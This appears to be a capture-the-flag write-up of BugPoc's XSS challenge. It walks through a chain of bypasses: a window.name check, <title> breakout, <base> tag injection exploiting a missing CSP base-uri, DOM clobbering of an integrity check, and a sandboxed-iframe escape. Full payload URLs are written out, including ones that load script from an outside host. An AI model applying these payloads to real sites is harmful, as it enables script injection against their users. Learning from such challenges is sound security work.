On 04/11/2020, BugPoc released a XSS challenge on their twitter handle. This writeup explains about the successful exploitation of XSS, bypassing various security implementation.
Challenge URL: https://wacky.buggywebsite.com/
On visiting the URL you will find the following content:
Inputting any text, results in the
styled form of that text.
Looking at the source of the page we can find an iframe which is displaying the
<iframe src="frame.html?param=Hello, World!" name="iframe" id="theIframe"></iframe>
Visiting https://wacky.buggywebsite.com/frame.html?param=Hello, World! we get the following content. This doesn't look similar to the one in the main page :/
Looking at the source of that page, we can find the following code :
window.name . If the
name attribute is set as
iframe it loads the normal behavior of the page, else it throws an error .
window.name property is an interesting one because unlike others name attribute is set for the
tab and it persists over any number of redirection. If my site sets
iframe and then redirects to the challenge site, the value of
window.name will still be
iframe. (Recently Liveoverflow explained about this https://www.youtube.com/watch?v=L1RvK1443Yw)
So first check is bypassed :)
After playing around a little with the URL it's pretty clear that you can control
param parameter of the URL: https://wacky.buggywebsite.com/frame.html?param=Hello, World! and it is reflected in the HTML DOM.
Using a classical XSS payload like
<img src=x onerror=alert()/> as
param doesn't work even though these characters aren't escaped. This is because the payload is rendered inside the
<title> tag and not in the HTML
This can be easily bypassed by closing the
<title> tag using
Using the payload
</title><img src=x onerror=alert()/> as
param value renders our HTML tag but it doesn't execute js.
Looking at developer console we can see the following error.
content-security-policy: script-src 'unsafe-eval' 'nonce-kbydemaiswgt' 'strict-dynamic'; frame-src 'self'; object-src 'none'
We can use this amazing website to check for CSP misconfiguration.
We can see a base-uri configuration is not set in the CSP header, which allows us to use
<base> tags to overwrite the location of the relative path in the HTML DOM.
For example if a
https://site.com have the following code:
<base href="https://attacker.com/"> <script src='main.js'></script>
The site will fetch the
main.js file from
https://attacker.com rather than
Getting back to the challenge, the page have the following js code which loads a script tag from relative path.
So all we need to do is, either create a JS file named
alert(document.domain) as content and place it into the directory
Using BugPoc's https://bugpoc.com/testers/other/mock to provide same response.
Now you might get CORS error which can be bypassed by adding
Access-Control-Allow-Origin: * header .
You could also use : https://bugpoc.com/testers/other/redir to shorten the payload link
So far our payload looks like:
https://wacky.buggywebsite.com/frame.html?param=</title><base href="https://b8d85m3hsi6s.redir.bugpoc.ninja/"> we get the following error in the developer console.
Now we need to bypass the integrity check to execute our payload. Let's look into the code which performs this.
The first line of the code checks for
window.fileIntegrity if it exists it sets that value to the
window.fileIntegrity else it sets hard coded values shown above.
If we can somehow define an object called
fileIntegrity we can bypass that check. This is where DOM Clobbering comes into play, if we insert an anchor tag into HTML with id as any value, the browser will create an object with that ID.
Just like in above screenshot let's create a payload that will define such object.
<a id=fileIntegrity><a id=fileIntegrity name=value href='' >
Now adding that to the payload, the URL looks like:
https://wacky.buggywebsite.com/frame.html?param=</title><base href="https://b8d85m3hsi6s.redir.bugpoc.ninja/"><a id=fileIntegrity><a id=fileIntegrity name=value href='' >
Visiting this page again throws error
It looks like we have successfully bypassed the CSP, but our js is executed in a sandboxed iframe which doesn't allow to execute alert() function.
The bypass is pretty straight forward, the iframe and the top domain is same origin. The iframe can use this privilege to execute any function on top domain using
All we need to do now is change the contents of js file. (https://nkcihu9tsta0.redir.bugpoc.ninja)
So the final exploit looks like this:
POC URL: https://bugpoc.com/poc#bp-iXwjx9DZ
Thanks to BugPoc for hosting such an awesome challenge :)